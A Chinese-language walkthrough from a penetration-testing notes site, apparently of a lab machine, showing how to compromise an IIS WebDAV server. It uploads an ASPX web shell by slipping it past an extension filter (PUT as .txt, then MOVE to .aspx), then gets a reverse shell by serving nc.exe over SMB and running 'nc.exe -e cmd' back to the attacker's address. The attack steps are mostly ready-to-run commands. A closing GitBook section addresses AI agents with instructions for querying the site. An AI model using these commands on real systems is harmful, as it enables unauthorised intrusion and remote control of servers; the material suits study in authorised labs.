> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/webdav-attack/webdav-webshell-aspx-pentesting-web.md).

# WebDAV ASPX Web Shell

80端口是开放的，服务器支持 WebDAV。这使我们有可能通过 PUT 方法上传文件，并用 MOVE 重命名它。

<figure><img src="/files/20fd482d117b3b7f720f6140dc2ae90f1fe62312" alt=""><figcaption></figcaption></figure>

创建一个如下文件：

```bash
echo "this is a test" > test.txt

```

使用该工具连接到服务器 **cadaver**:

```bash
cadaver 10.10.10.15

```

尝试使用 PUT 命令上传文件：

<figure><img src="/files/6e195898af193e7b9d9175aba162d1d00ad39e02" alt=""><figcaption></figcaption></figure>

* 结果：成功。

<figure><img src="/files/e0e5da13a28800fb4d06e8bb52ee299681a5fd66" alt="" width="563"><figcaption></figcaption></figure>

### **上传一个 WebShell**

复制一个现有的 ASPX WebShell：

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .

```

尝试直接上传它：

```powershell
put aspx_cmd.aspx

```

结果：失败（服务器阻止了扩展名为 .aspx 的文件）。

<figure><img src="/files/44af5cb1ff2d05448b0d21ac59630873ca0169dc" alt="" width="563"><figcaption></figcaption></figure>

将扩展名改为 **.txt**:

```bash
mv aspx_cmd.aspx cmd.txt

```

重试上传：

```powershell
PUT cmd.txt

```

* 结果：成功。

<figure><img src="/files/7cf4a55236426b2e8b299e7199b62756ee5ce8c7" alt="" width="563"><figcaption></figcaption></figure>

#### 使用 MOVE 将文件重命名以恢复扩展名：

```powershell
move cmd.txt cmd.aspx

```

<figure><img src="/files/b12ff682b65d11f6e6a45eb9f18648cf61ccc4dc" alt=""><figcaption></figcaption></figure>

通过浏览器访问 WebShell：

<figure><img src="/files/bf53807debb867c3051e190ea0a4f0940d7cb483" alt=""><figcaption></figcaption></figure>

### **通过 WebShell 获取反向 Shell：**

在当前目录放置一个可执行的 Netcat：

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .

```

启动一个 SMB 服务器来共享该文件：

```bash
smbserver.py smbFolder $(pwd) -smb2support

```

将你的机器设置为 443 端口的监听器：

```bash
sudo rlwrap nc -nvlp 443

```

从 WebShell 执行反向 Shell 命令：

```bash
//10.10.14.30/smbFolder/nc.exe -e cmd 10.10.14.30 443

```

<figure><img src="/files/942ec2ccae0cfdae57d88a9571cf5b28312e1355" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/webdav-attack/webdav-webshell-aspx-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
